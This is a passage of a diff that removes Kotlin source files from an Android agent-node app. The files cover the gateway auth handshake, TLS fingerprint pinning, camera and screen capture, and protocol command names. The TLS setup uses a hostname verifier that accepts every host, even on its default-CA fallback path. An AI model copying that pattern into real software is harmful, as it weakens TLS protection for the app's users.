connectNonce: String?,
authToken: String,
authPassword: String?,
): JsonObject {
val client = options.client
val locale = Locale.getDefault().toLanguageTag()
val clientObj =
buildJsonObject {
put("id", JsonPrimitive(client.id))
client.displayName?.let { put("displayName", JsonPrimitive(it)) }
put("version", JsonPrimitive(client.version))
put("platform", JsonPrimitive(client.platform))
put("mode", JsonPrimitive(client.mode))
client.instanceId?.let { put("instanceId", JsonPrimitive(it)) }
client.deviceFamily?.let { put("deviceFamily", JsonPrimitive(it)) }
client.modelIdentifier?.let { put("modelIdentifier", JsonPrimitive(it)) }
}
val password = authPassword?.trim().orEmpty()
val authJson =
when {
authToken.isNotEmpty() ->
buildJsonObject {
put("token", JsonPrimitive(authToken))
}
password.isNotEmpty() ->
buildJsonObject {
put("password", JsonPrimitive(password))
}
else -> null
}
val signedAtMs = System.currentTimeMillis()
val payload =
buildDeviceAuthPayload(
deviceId = identity.deviceId,
clientId = client.id,
clientMode = client.mode,
role = options.role,
scopes = options.scopes,
signedAtMs = signedAtMs,
token = if (authToken.isNotEmpty()) authToken else null,
nonce = connectNonce,
)
val signature = identityStore.signPayload(payload, identity)
val publicKey = identityStore.publicKeyBase64Url(identity)
val deviceJson =
if (!signature.isNullOrBlank() && !publicKey.isNullOrBlank()) {
buildJsonObject {
put("id", JsonPrimitive(identity.deviceId))
put("publicKey", JsonPrimitive(publicKey))
put("signature", JsonPrimitive(signature))
put("signedAt", JsonPrimitive(signedAtMs))
if (!connectNonce.isNullOrBlank()) {
put("nonce", JsonPrimitive(connectNonce))
}
}
} else {
null
}
return buildJsonObject {
put("minProtocol", JsonPrimitive(GATEWAY_PROTOCOL_VERSION))
put("maxProtocol", JsonPrimitive(GATEWAY_PROTOCOL_VERSION))
put("client", clientObj)
if (options.caps.isNotEmpty()) put("caps", JsonArray(options.caps.map(::JsonPrimitive)))
if (options.commands.isNotEmpty()) put("commands", JsonArray(options.commands.map(::JsonPrimitive)))
if (options.permissions.isNotEmpty()) {
put(
"permissions",
buildJsonObject {
options.permissions.forEach { (key, value) ->
put(key, JsonPrimitive(value))
}
},
)
}
put("role", JsonPrimitive(options.role))
if (options.scopes.isNotEmpty()) put("scopes", JsonArray(options.scopes.map(::JsonPrimitive)))
authJson?.let { put("auth", it) }
deviceJson?.let { put("device", it) }
put("locale", JsonPrimitive(locale))
options.userAgent?.trim()?.takeIf { it.isNotEmpty() }?.let {
put("userAgent", JsonPrimitive(it))
}
}
}
private suspend fun handleMessage(text: String) {
val frame = json.parseToJsonElement(text).asObjectOrNull() ?: return
when (frame["type"].asStringOrNull()) {
"res" -> handleResponse(frame)
"event" -> handleEvent(frame)
}
}
private fun handleResponse(frame: JsonObject) {
val id = frame["id"].asStringOrNull() ?: return
val ok = frame["ok"].asBooleanOrNull() ?: false
val payloadJson = frame["payload"]?.let { payload -> payload.toString() }
val error =
frame["error"]?.asObjectOrNull()?.let { obj ->
val code = obj["code"].asStringOrNull() ?: "UNAVAILABLE"
val msg = obj["message"].asStringOrNull() ?: "request failed"
ErrorShape(code, msg)
}
pending.remove(id)?.complete(RpcResponse(id, ok, payloadJson, error))
}
private fun handleEvent(frame: JsonObject) {
val event = frame["event"].asStringOrNull() ?: return
val payloadJson =
frame["payload"]?.let { it.toString() } ?: frame["payloadJSON"].asStringOrNull()
if (event == "connect.challenge") {
val nonce = extractConnectNonce(payloadJson)
if (!connectNonceDeferred.isCompleted) {
connectNonceDeferred.complete(nonce)
}
return
}
if (event == "node.invoke.request" && payloadJson != null && onInvoke != null) {
handleInvokeEvent(payloadJson)
return
}
onEvent(event, payloadJson)
}
private suspend fun awaitConnectNonce(): String? {
if (isLoopbackHost(endpoint.host)) return null
return try {
withTimeout(2_000) { connectNonceDeferred.await() }
} catch (_: Throwable) {
null
}
}
private fun extractConnectNonce(payloadJson: String?): String? {
if (payloadJson.isNullOrBlank()) return null
val obj = parseJsonOrNull(payloadJson)?.asObjectOrNull() ?: return null
return obj["nonce"].asStringOrNull()
}
private fun handleInvokeEvent(payloadJson: String) {
val payload =
try {
json.parseToJsonElement(payloadJson).asObjectOrNull()
} catch (_: Throwable) {
null
} ?: return
val id = payload["id"].asStringOrNull() ?: return
val nodeId = payload["nodeId"].asStringOrNull() ?: return
val command = payload["command"].asStringOrNull() ?: return
val params =
payload["paramsJSON"].asStringOrNull()
?: payload["params"]?.let { value -> if (value is JsonNull) null else value.toString() }
val timeoutMs = payload["timeoutMs"].asLongOrNull()
scope.launch {
val result =
try {
onInvoke?.invoke(InvokeRequest(id, nodeId, command, params, timeoutMs))
?: InvokeResult.error("UNAVAILABLE", "invoke handler missing")
} catch (err: Throwable) {
invokeErrorFromThrowable(err)
}
sendInvokeResult(id, nodeId, result)
}
}
private suspend fun sendInvokeResult(id: String, nodeId: String, result: InvokeResult) {
val parsedPayload = result.payloadJson?.let { parseJsonOrNull(it) }
val params =
buildJsonObject {
put("id", JsonPrimitive(id))
put("nodeId", JsonPrimitive(nodeId))
put("ok", JsonPrimitive(result.ok))
if (parsedPayload != null) {
put("payload", parsedPayload)
} else if (result.payloadJson != null) {
put("payloadJSON", JsonPrimitive(result.payloadJson))
}
result.error?.let { err ->
put(
"error",
buildJsonObject {
put("code", JsonPrimitive(err.code))
put("message", JsonPrimitive(err.message))
},
)
}
}
try {
request("node.invoke.result", params, timeoutMs = 15_000)
} catch (err: Throwable) {
Log.w(loggerTag, "node.invoke.result failed: ${err.message ?: err::class.java.simpleName}")
}
}
private fun invokeErrorFromThrowable(err: Throwable): InvokeResult {
val msg = err.message?.trim().takeIf { !it.isNullOrEmpty() } ?: err::class.java.simpleName
val parts = msg.split(":", limit = 2)
if (parts.size == 2) {
val code = parts[0].trim()
val rest = parts[1].trim()
if (code.isNotEmpty() && code.all { it.isUpperCase() || it == '_' }) {
return InvokeResult.error(code = code, message = rest.ifEmpty { msg })
}
}
return InvokeResult.error(code = "UNAVAILABLE", message = msg)
}
private fun failPending() {
for ((_, waiter) in pending) {
waiter.cancel()
}
pending.clear()
}
}
private suspend fun runLoop() {
var attempt = 0
while (scope.isActive) {
val target = desired
if (target == null) {
currentConnection?.closeQuietly()
currentConnection = null
delay(250)
continue
}
try {
onDisconnected(if (attempt == 0) "Connecting…" else "Reconnecting…")
connectOnce(target)
attempt = 0
} catch (err: Throwable) {
attempt += 1
onDisconnected("Gateway error: ${err.message ?: err::class.java.simpleName}")
val sleepMs = minOf(8_000L, (350.0 * Math.pow(1.7, attempt.toDouble())).toLong())
delay(sleepMs)
}
}
}
private suspend fun connectOnce(target: DesiredConnection) = withContext(Dispatchers.IO) {
val conn = Connection(target.endpoint, target.token, target.password, target.options, target.tls)
currentConnection = conn
try {
conn.connect()
conn.awaitClose()
} finally {
currentConnection = null
canvasHostUrl = null
mainSessionKey = null
}
}
private fun buildDeviceAuthPayload(
deviceId: String,
clientId: String,
clientMode: String,
role: String,
scopes: List<String>,
signedAtMs: Long,
token: String?,
nonce: String?,
): String {
val scopeString = scopes.joinToString(",")
val authToken = token.orEmpty()
val version = if (nonce.isNullOrBlank()) "v1" else "v2"
val parts =
mutableListOf(
version,
deviceId,
clientId,
clientMode,
role,
scopeString,
signedAtMs.toString(),
authToken,
)
if (!nonce.isNullOrBlank()) {
parts.add(nonce)
}
return parts.joinToString("|")
}
private fun normalizeCanvasHostUrl(raw: String?, endpoint: GatewayEndpoint): String? {
val trimmed = raw?.trim().orEmpty()
val parsed = trimmed.takeIf { it.isNotBlank() }?.let { runCatching { java.net.URI(it) }.getOrNull() }
val host = parsed?.host?.trim().orEmpty()
val port = parsed?.port ?: -1
val scheme = parsed?.scheme?.trim().orEmpty().ifBlank { "http" }
if (trimmed.isNotBlank() && !isLoopbackHost(host)) {
return trimmed
}
val fallbackHost =
endpoint.tailnetDns?.trim().takeIf { !it.isNullOrEmpty() }
?: endpoint.lanHost?.trim().takeIf { !it.isNullOrEmpty() }
?: endpoint.host.trim()
if (fallbackHost.isEmpty()) return trimmed.ifBlank { null }
val fallbackPort = endpoint.canvasPort ?: if (port > 0) port else 18793
val formattedHost = if (fallbackHost.contains(":")) "[${fallbackHost}]" else fallbackHost
return "$scheme://$formattedHost:$fallbackPort"
}
private fun isLoopbackHost(raw: String?): Boolean {
val host = raw?.trim()?.lowercase().orEmpty()
if (host.isEmpty()) return false
if (host == "localhost") return true
if (host == "::1") return true
if (host == "0.0.0.0" || host == "::") return true
return host.startsWith("127.")
}
}
private fun JsonElement?.asObjectOrNull(): JsonObject? = this as? JsonObject
private fun JsonElement?.asStringOrNull(): String? =
when (this) {
is JsonNull -> null
is JsonPrimitive -> content
else -> null
}
private fun JsonElement?.asBooleanOrNull(): Boolean? =
when (this) {
is JsonPrimitive -> {
val c = content.trim()
when {
c.equals("true", ignoreCase = true) -> true
c.equals("false", ignoreCase = true) -> false
else -> null
}
}
else -> null
}
private fun JsonElement?.asLongOrNull(): Long? =
when (this) {
is JsonPrimitive -> content.toLongOrNull()
else -> null
}
private fun parseJsonOrNull(payload: String): JsonElement? {
val trimmed = payload.trim()
if (trimmed.isEmpty()) return null
return try {
Json.parseToJsonElement(trimmed)
} catch (_: Throwable) {
null
}
}

View File

@@ -1,90 +0,0 @@
package ai.openclaw.android.gateway
import android.annotation.SuppressLint
import java.security.MessageDigest
import java.security.SecureRandom
import java.security.cert.CertificateException
import java.security.cert.X509Certificate
import javax.net.ssl.HostnameVerifier
import javax.net.ssl.SSLContext
import javax.net.ssl.SSLSocketFactory
import javax.net.ssl.TrustManagerFactory
import javax.net.ssl.X509TrustManager
data class GatewayTlsParams(
val required: Boolean,
val expectedFingerprint: String?,
val allowTOFU: Boolean,
val stableId: String,
)
data class GatewayTlsConfig(
val sslSocketFactory: SSLSocketFactory,
val trustManager: X509TrustManager,
val hostnameVerifier: HostnameVerifier,
)
fun buildGatewayTlsConfig(
params: GatewayTlsParams?,
onStore: ((String) -> Unit)? = null,
): GatewayTlsConfig? {
if (params == null) return null
val expected = params.expectedFingerprint?.let(::normalizeFingerprint)
val defaultTrust = defaultTrustManager()
@SuppressLint("CustomX509TrustManager")
val trustManager =
object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {
defaultTrust.checkClientTrusted(chain, authType)
}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {
if (chain.isEmpty()) throw CertificateException("empty certificate chain")
val fingerprint = sha256Hex(chain[0].encoded)
if (expected != null) {
if (fingerprint != expected) {
throw CertificateException("gateway TLS fingerprint mismatch")
}
return
}
if (params.allowTOFU) {
onStore?.invoke(fingerprint)
return
}
defaultTrust.checkServerTrusted(chain, authType)
}
override fun getAcceptedIssuers(): Array<X509Certificate> = defaultTrust.acceptedIssuers
}
val context = SSLContext.getInstance("TLS")
context.init(null, arrayOf(trustManager), SecureRandom())
return GatewayTlsConfig(
sslSocketFactory = context.socketFactory,
trustManager = trustManager,
hostnameVerifier = HostnameVerifier { _, _ -> true },
)
}
private fun defaultTrustManager(): X509TrustManager {
val factory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm())
factory.init(null as java.security.KeyStore?)
val trust =
factory.trustManagers.firstOrNull { it is X509TrustManager } as? X509TrustManager
return trust ?: throw IllegalStateException("No default X509TrustManager found")
}
private fun sha256Hex(data: ByteArray): String {
val digest = MessageDigest.getInstance("SHA-256").digest(data)
val out = StringBuilder(digest.size * 2)
for (byte in digest) {
out.append(String.format("%02x", byte))
}
return out.toString()
}
private fun normalizeFingerprint(raw: String): String {
val stripped = raw.trim()
.replace(Regex("^sha-?256\\s*:?\\s*", RegexOption.IGNORE_CASE), "")
return stripped.lowercase().filter { it in '0'..'9' || it in 'a'..'f' }
}

View File

@@ -1,316 +0,0 @@
package ai.openclaw.android.node
import android.Manifest
import android.content.Context
import android.annotation.SuppressLint
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.graphics.Matrix
import android.util.Base64
import android.content.pm.PackageManager
import androidx.exifinterface.media.ExifInterface
import androidx.lifecycle.LifecycleOwner
import androidx.camera.core.CameraSelector
import androidx.camera.core.ImageCapture
import androidx.camera.core.ImageCaptureException
import androidx.camera.lifecycle.ProcessCameraProvider
import androidx.camera.video.FileOutputOptions
import androidx.camera.video.Recorder
import androidx.camera.video.Recording
import androidx.camera.video.VideoCapture
import androidx.camera.video.VideoRecordEvent
import androidx.core.content.ContextCompat
import androidx.core.content.ContextCompat.checkSelfPermission
import androidx.core.graphics.scale
import ai.openclaw.android.PermissionRequester
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.suspendCancellableCoroutine
import kotlinx.coroutines.withTimeout
import kotlinx.coroutines.withContext
import java.io.ByteArrayOutputStream
import java.io.File
import java.util.concurrent.Executor
import kotlin.math.roundToInt
import kotlin.coroutines.resume
import kotlin.coroutines.resumeWithException
class CameraCaptureManager(private val context: Context) {
data class Payload(val payloadJson: String)
@Volatile private var lifecycleOwner: LifecycleOwner? = null
@Volatile private var permissionRequester: PermissionRequester? = null
fun attachLifecycleOwner(owner: LifecycleOwner) {
lifecycleOwner = owner
}
fun attachPermissionRequester(requester: PermissionRequester) {
permissionRequester = requester
}
private suspend fun ensureCameraPermission() {
val granted = checkSelfPermission(context, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED
if (granted) return
val requester = permissionRequester
?: throw IllegalStateException("CAMERA_PERMISSION_REQUIRED: grant Camera permission")
val results = requester.requestIfMissing(listOf(Manifest.permission.CAMERA))
if (results[Manifest.permission.CAMERA] != true) {
throw IllegalStateException("CAMERA_PERMISSION_REQUIRED: grant Camera permission")
}
}
private suspend fun ensureMicPermission() {
val granted = checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED
if (granted) return
val requester = permissionRequester
?: throw IllegalStateException("MIC_PERMISSION_REQUIRED: grant Microphone permission")
val results = requester.requestIfMissing(listOf(Manifest.permission.RECORD_AUDIO))
if (results[Manifest.permission.RECORD_AUDIO] != true) {
throw IllegalStateException("MIC_PERMISSION_REQUIRED: grant Microphone permission")
}
}
suspend fun snap(paramsJson: String?): Payload =
withContext(Dispatchers.Main) {
ensureCameraPermission()
val owner = lifecycleOwner ?: throw IllegalStateException("UNAVAILABLE: camera not ready")
val facing = parseFacing(paramsJson) ?: "front"
val quality = (parseQuality(paramsJson) ?: 0.9).coerceIn(0.1, 1.0)
val maxWidth = parseMaxWidth(paramsJson)
val provider = context.cameraProvider()
val capture = ImageCapture.Builder().build()
val selector =
if (facing == "front") CameraSelector.DEFAULT_FRONT_CAMERA else CameraSelector.DEFAULT_BACK_CAMERA
provider.unbindAll()
provider.bindToLifecycle(owner, selector, capture)
val (bytes, orientation) = capture.takeJpegWithExif(context.mainExecutor())
val decoded = BitmapFactory.decodeByteArray(bytes, 0, bytes.size)
?: throw IllegalStateException("UNAVAILABLE: failed to decode captured image")
val rotated = rotateBitmapByExif(decoded, orientation)
val scaled =
if (maxWidth != null && maxWidth > 0 && rotated.width > maxWidth) {
val h =
(rotated.height.toDouble() * (maxWidth.toDouble() / rotated.width.toDouble()))
.toInt()
.coerceAtLeast(1)
rotated.scale(maxWidth, h)
} else {
rotated
}
val maxPayloadBytes = 5 * 1024 * 1024
// Base64 inflates payloads by ~4/3; cap encoded bytes so the payload stays under 5MB (API limit).
val maxEncodedBytes = (maxPayloadBytes / 4) * 3
val result =
JpegSizeLimiter.compressToLimit(
initialWidth = scaled.width,
initialHeight = scaled.height,
startQuality = (quality * 100.0).roundToInt().coerceIn(10, 100),
maxBytes = maxEncodedBytes,
encode = { width, height, q ->
val bitmap =
if (width == scaled.width && height == scaled.height) {
scaled
} else {
scaled.scale(width, height)
}
val out = ByteArrayOutputStream()
if (!bitmap.compress(Bitmap.CompressFormat.JPEG, q, out)) {
if (bitmap !== scaled) bitmap.recycle()
throw IllegalStateException("UNAVAILABLE: failed to encode JPEG")
}
if (bitmap !== scaled) {
bitmap.recycle()
}
out.toByteArray()
},
)
val base64 = Base64.encodeToString(result.bytes, Base64.NO_WRAP)
Payload(
"""{"format":"jpg","base64":"$base64","width":${result.width},"height":${result.height}}""",
)
}
@SuppressLint("MissingPermission")
suspend fun clip(paramsJson: String?): Payload =
withContext(Dispatchers.Main) {
ensureCameraPermission()
val owner = lifecycleOwner ?: throw IllegalStateException("UNAVAILABLE: camera not ready")
val facing = parseFacing(paramsJson) ?: "front"
val durationMs = (parseDurationMs(paramsJson) ?: 3_000).coerceIn(200, 60_000)
val includeAudio = parseIncludeAudio(paramsJson) ?: true
if (includeAudio) ensureMicPermission()
val provider = context.cameraProvider()
val recorder = Recorder.Builder().build()
val videoCapture = VideoCapture.withOutput(recorder)
val selector =
if (facing == "front") CameraSelector.DEFAULT_FRONT_CAMERA else CameraSelector.DEFAULT_BACK_CAMERA
provider.unbindAll()
provider.bindToLifecycle(owner, selector, videoCapture)
val file = File.createTempFile("openclaw-clip-", ".mp4")
val outputOptions = FileOutputOptions.Builder(file).build()
val finalized = kotlinx.coroutines.CompletableDeferred<VideoRecordEvent.Finalize>()
val recording: Recording =
videoCapture.output
.prepareRecording(context, outputOptions)
.apply {
if (includeAudio) withAudioEnabled()
}
.start(context.mainExecutor()) { event ->
if (event is VideoRecordEvent.Finalize) {
finalized.complete(event)
}
}
try {
kotlinx.coroutines.delay(durationMs.toLong())
} finally {
recording.stop()
}
val finalizeEvent =
try {
withTimeout(10_000) { finalized.await() }
} catch (err: Throwable) {
file.delete()
throw IllegalStateException("UNAVAILABLE: camera clip finalize timed out")
}
if (finalizeEvent.hasError()) {
file.delete()
throw IllegalStateException("UNAVAILABLE: camera clip failed")
}
val bytes = file.readBytes()
file.delete()
val base64 = Base64.encodeToString(bytes, Base64.NO_WRAP)
Payload(
"""{"format":"mp4","base64":"$base64","durationMs":$durationMs,"hasAudio":${includeAudio}}""",
)
}
private fun rotateBitmapByExif(bitmap: Bitmap, orientation: Int): Bitmap {
val matrix = Matrix()
when (orientation) {
ExifInterface.ORIENTATION_ROTATE_90 -> matrix.postRotate(90f)
ExifInterface.ORIENTATION_ROTATE_180 -> matrix.postRotate(180f)
ExifInterface.ORIENTATION_ROTATE_270 -> matrix.postRotate(270f)
ExifInterface.ORIENTATION_FLIP_HORIZONTAL -> matrix.postScale(-1f, 1f)
ExifInterface.ORIENTATION_FLIP_VERTICAL -> matrix.postScale(1f, -1f)
ExifInterface.ORIENTATION_TRANSPOSE -> {
matrix.postRotate(90f)
matrix.postScale(-1f, 1f)
}
ExifInterface.ORIENTATION_TRANSVERSE -> {
matrix.postRotate(-90f)
matrix.postScale(-1f, 1f)
}
else -> return bitmap
}
val rotated = Bitmap.createBitmap(bitmap, 0, 0, bitmap.width, bitmap.height, matrix, true)
if (rotated !== bitmap) {
bitmap.recycle()
}
return rotated
}
private fun parseFacing(paramsJson: String?): String? =
when {
paramsJson?.contains("\"front\"") == true -> "front"
paramsJson?.contains("\"back\"") == true -> "back"
else -> null
}
private fun parseQuality(paramsJson: String?): Double? =
parseNumber(paramsJson, key = "quality")?.toDoubleOrNull()
private fun parseMaxWidth(paramsJson: String?): Int? =
parseNumber(paramsJson, key = "maxWidth")?.toIntOrNull()
private fun parseDurationMs(paramsJson: String?): Int? =
parseNumber(paramsJson, key = "durationMs")?.toIntOrNull()
private fun parseIncludeAudio(paramsJson: String?): Boolean? {
val raw = paramsJson ?: return null
val key = "\"includeAudio\""
val idx = raw.indexOf(key)
if (idx < 0) return null
val colon = raw.indexOf(':', idx + key.length)
if (colon < 0) return null
val tail = raw.substring(colon + 1).trimStart()
return when {
tail.startsWith("true") -> true
tail.startsWith("false") -> false
else -> null
}
}
private fun parseNumber(paramsJson: String?, key: String): String? {
val raw = paramsJson ?: return null
val needle = "\"$key\""
val idx = raw.indexOf(needle)
if (idx < 0) return null
val colon = raw.indexOf(':', idx + needle.length)
if (colon < 0) return null
val tail = raw.substring(colon + 1).trimStart()
return tail.takeWhile { it.isDigit() || it == '.' }
}
private fun Context.mainExecutor(): Executor = ContextCompat.getMainExecutor(this)
}
private suspend fun Context.cameraProvider(): ProcessCameraProvider =
suspendCancellableCoroutine { cont ->
val future = ProcessCameraProvider.getInstance(this)
future.addListener(
{
try {
cont.resume(future.get())
} catch (e: Exception) {
cont.resumeWithException(e)
}
},
ContextCompat.getMainExecutor(this),
)
}
/** Returns (jpegBytes, exifOrientation) so caller can rotate the decoded bitmap. */
private suspend fun ImageCapture.takeJpegWithExif(executor: Executor): Pair<ByteArray, Int> =
suspendCancellableCoroutine { cont ->
val file = File.createTempFile("openclaw-snap-", ".jpg")
val options = ImageCapture.OutputFileOptions.Builder(file).build()
takePicture(
options,
executor,
object : ImageCapture.OnImageSavedCallback {
override fun onError(exception: ImageCaptureException) {
file.delete()
cont.resumeWithException(exception)
}
override fun onImageSaved(outputFileResults: ImageCapture.OutputFileResults) {
try {
val exif = ExifInterface(file.absolutePath)
val orientation = exif.getAttributeInt(
ExifInterface.TAG_ORIENTATION,
ExifInterface.ORIENTATION_NORMAL,
)
val bytes = file.readBytes()
cont.resume(Pair(bytes, orientation))
} catch (e: Exception) {
cont.resumeWithException(e)
} finally {
file.delete()
}
}
},
)
}

View File

@@ -1,199 +0,0 @@
package ai.openclaw.android.node
import android.content.Context
import android.hardware.display.DisplayManager
import android.media.MediaRecorder
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.util.Base64
import ai.openclaw.android.ScreenCaptureRequester
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.withContext
import java.io.File
import kotlin.math.roundToInt
class ScreenRecordManager(private val context: Context) {
data class Payload(val payloadJson: String)
@Volatile private var screenCaptureRequester: ScreenCaptureRequester? = null
@Volatile private var permissionRequester: ai.openclaw.android.PermissionRequester? = null
fun attachScreenCaptureRequester(requester: ScreenCaptureRequester) {
screenCaptureRequester = requester
}
fun attachPermissionRequester(requester: ai.openclaw.android.PermissionRequester) {
permissionRequester = requester
}
suspend fun record(paramsJson: String?): Payload =
withContext(Dispatchers.Default) {
val requester =
screenCaptureRequester
?: throw IllegalStateException(
"SCREEN_PERMISSION_REQUIRED: grant Screen Recording permission",
)
val durationMs = (parseDurationMs(paramsJson) ?: 10_000).coerceIn(250, 60_000)
val fps = (parseFps(paramsJson) ?: 10.0).coerceIn(1.0, 60.0)
val fpsInt = fps.roundToInt().coerceIn(1, 60)
val screenIndex = parseScreenIndex(paramsJson)
val includeAudio = parseIncludeAudio(paramsJson) ?: true
val format = parseString(paramsJson, key = "format")
if (format != null && format.lowercase() != "mp4") {
throw IllegalArgumentException("INVALID_REQUEST: screen format must be mp4")
}
if (screenIndex != null && screenIndex != 0) {
throw IllegalArgumentException("INVALID_REQUEST: screenIndex must be 0 on Android")
}
val capture = requester.requestCapture()
?: throw IllegalStateException(
"SCREEN_PERMISSION_REQUIRED: grant Screen Recording permission",
)
val mgr =
context.getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val projection = mgr.getMediaProjection(capture.resultCode, capture.data)
?: throw IllegalStateException("UNAVAILABLE: screen capture unavailable")
val metrics = context.resources.displayMetrics
val width = metrics.widthPixels
val height = metrics.heightPixels
val densityDpi = metrics.densityDpi
val file = File.createTempFile("openclaw-screen-", ".mp4")
if (includeAudio) ensureMicPermission()
val recorder = createMediaRecorder()
var virtualDisplay: android.hardware.display.VirtualDisplay? = null
try {
if (includeAudio) {
recorder.setAudioSource(MediaRecorder.AudioSource.MIC)
}
recorder.setVideoSource(MediaRecorder.VideoSource.SURFACE)
recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4)
recorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264)
if (includeAudio) {
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC)
recorder.setAudioChannels(1)
recorder.setAudioSamplingRate(44_100)
recorder.setAudioEncodingBitRate(96_000)
}
recorder.setVideoSize(width, height)
recorder.setVideoFrameRate(fpsInt)
recorder.setVideoEncodingBitRate(estimateBitrate(width, height, fpsInt))
recorder.setOutputFile(file.absolutePath)
recorder.prepare()
val surface = recorder.surface
virtualDisplay =
projection.createVirtualDisplay(
"openclaw-screen",
width,
height,
densityDpi,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
surface,
null,
null,
)
recorder.start()
delay(durationMs.toLong())
} finally {
try {
recorder.stop()
} catch (_: Throwable) {
// ignore
}
recorder.reset()
recorder.release()
virtualDisplay?.release()
projection.stop()
}
val bytes = withContext(Dispatchers.IO) { file.readBytes() }
file.delete()
val base64 = Base64.encodeToString(bytes, Base64.NO_WRAP)
Payload(
"""{"format":"mp4","base64":"$base64","durationMs":$durationMs,"fps":$fpsInt,"screenIndex":0,"hasAudio":$includeAudio}""",
)
}
private fun createMediaRecorder(): MediaRecorder = MediaRecorder(context)
private suspend fun ensureMicPermission() {
val granted =
androidx.core.content.ContextCompat.checkSelfPermission(
context,
android.Manifest.permission.RECORD_AUDIO,
) == android.content.pm.PackageManager.PERMISSION_GRANTED
if (granted) return
val requester =
permissionRequester
?: throw IllegalStateException("MIC_PERMISSION_REQUIRED: grant Microphone permission")
val results = requester.requestIfMissing(listOf(android.Manifest.permission.RECORD_AUDIO))
if (results[android.Manifest.permission.RECORD_AUDIO] != true) {
throw IllegalStateException("MIC_PERMISSION_REQUIRED: grant Microphone permission")
}
}
private fun parseDurationMs(paramsJson: String?): Int? =
parseNumber(paramsJson, key = "durationMs")?.toIntOrNull()
private fun parseFps(paramsJson: String?): Double? =
parseNumber(paramsJson, key = "fps")?.toDoubleOrNull()
private fun parseScreenIndex(paramsJson: String?): Int? =
parseNumber(paramsJson, key = "screenIndex")?.toIntOrNull()
private fun parseIncludeAudio(paramsJson: String?): Boolean? {
val raw = paramsJson ?: return null
val key = "\"includeAudio\""
val idx = raw.indexOf(key)
if (idx < 0) return null
val colon = raw.indexOf(':', idx + key.length)
if (colon < 0) return null
val tail = raw.substring(colon + 1).trimStart()
return when {
tail.startsWith("true") -> true
tail.startsWith("false") -> false
else -> null
}
}
private fun parseNumber(paramsJson: String?, key: String): String? {
val raw = paramsJson ?: return null
val needle = "\"$key\""
val idx = raw.indexOf(needle)
if (idx < 0) return null
val colon = raw.indexOf(':', idx + needle.length)
if (colon < 0) return null
val tail = raw.substring(colon + 1).trimStart()
return tail.takeWhile { it.isDigit() || it == '.' || it == '-' }
}
private fun parseString(paramsJson: String?, key: String): String? {
val raw = paramsJson ?: return null
val needle = "\"$key\""
val idx = raw.indexOf(needle)
if (idx < 0) return null
val colon = raw.indexOf(':', idx + needle.length)
if (colon < 0) return null
val tail = raw.substring(colon + 1).trimStart()
if (!tail.startsWith('\"')) return null
val rest = tail.drop(1)
val end = rest.indexOf('\"')
if (end < 0) return null
return rest.substring(0, end)
}
private fun estimateBitrate(width: Int, height: Int, fps: Int): Int {
val pixels = width.toLong() * height.toLong()
val raw = (pixels * fps.toLong() * 2L).toInt()
return raw.coerceIn(1_000_000, 12_000_000)
}
}

View File

@@ -1,71 +0,0 @@
package ai.openclaw.android.protocol
enum class OpenClawCapability(val rawValue: String) {
Canvas("canvas"),
Camera("camera"),
Screen("screen"),
Sms("sms"),
VoiceWake("voiceWake"),
Location("location"),
}
enum class OpenClawCanvasCommand(val rawValue: String) {
Present("canvas.present"),
Hide("canvas.hide"),
Navigate("canvas.navigate"),
Eval("canvas.eval"),
Snapshot("canvas.snapshot"),
;
companion object {
const val NamespacePrefix: String = "canvas."
}
}
enum class OpenClawCanvasA2UICommand(val rawValue: String) {
Push("canvas.a2ui.push"),
PushJSONL("canvas.a2ui.pushJSONL"),
Reset("canvas.a2ui.reset"),
;
companion object {
const val NamespacePrefix: String = "canvas.a2ui."
}
}
enum class OpenClawCameraCommand(val rawValue: String) {
Snap("camera.snap"),
Clip("camera.clip"),
;
companion object {
const val NamespacePrefix: String = "camera."
}
}
enum class OpenClawScreenCommand(val rawValue: String) {
Record("screen.record"),
;
companion object {
const val NamespacePrefix: String = "screen."
}
}
enum class OpenClawSmsCommand(val rawValue: String) {
Send("sms.send"),
;
companion object {
const val NamespacePrefix: String = "sms."
}
}
enum class OpenClawLocationCommand(val rawValue: String) {
Get("location.get"),
;
companion object {
const val NamespacePrefix: String = "location."
}
}

View File

@@ -1,10 +0,0 @@
package ai.openclaw.android.ui
import androidx.compose.runtime.Composable
import ai.openclaw.android.MainViewModel
import ai.openclaw.android.ui.chat.ChatSheetContent
@Composable
fun ChatSheet(viewModel: MainViewModel) {
ChatSheetContent(viewModel = viewModel)
}

View File

@@ -1,429 +0,0 @@
package ai.openclaw.android.ui
import android.annotation.SuppressLint
import android.Manifest
import android.content.pm.PackageManager
import android.graphics.Color
import android.util.Log
import android.view.View
import android.webkit.JavascriptInterface
import android.webkit.ConsoleMessage
import android.webkit.WebChromeClient
import android.webkit.WebView
import android.webkit.WebSettings
import android.webkit.WebResourceError
import android.webkit.WebResourceRequest
import android.webkit.WebResourceResponse
import android.webkit.WebViewClient
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.webkit.WebSettingsCompat
import androidx.webkit.WebViewFeature
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Box
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.WindowInsets
import androidx.compose.foundation.layout.WindowInsetsSides
import androidx.compose.foundation.layout.only
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.safeDrawing
import androidx.compose.foundation.layout.size
import androidx.compose.foundation.layout.windowInsetsPadding
import androidx.compose.material3.ExperimentalMaterial3Api
import androidx.compose.material3.FilledTonalIconButton
import androidx.compose.material3.Icon
import androidx.compose.material3.IconButtonDefaults
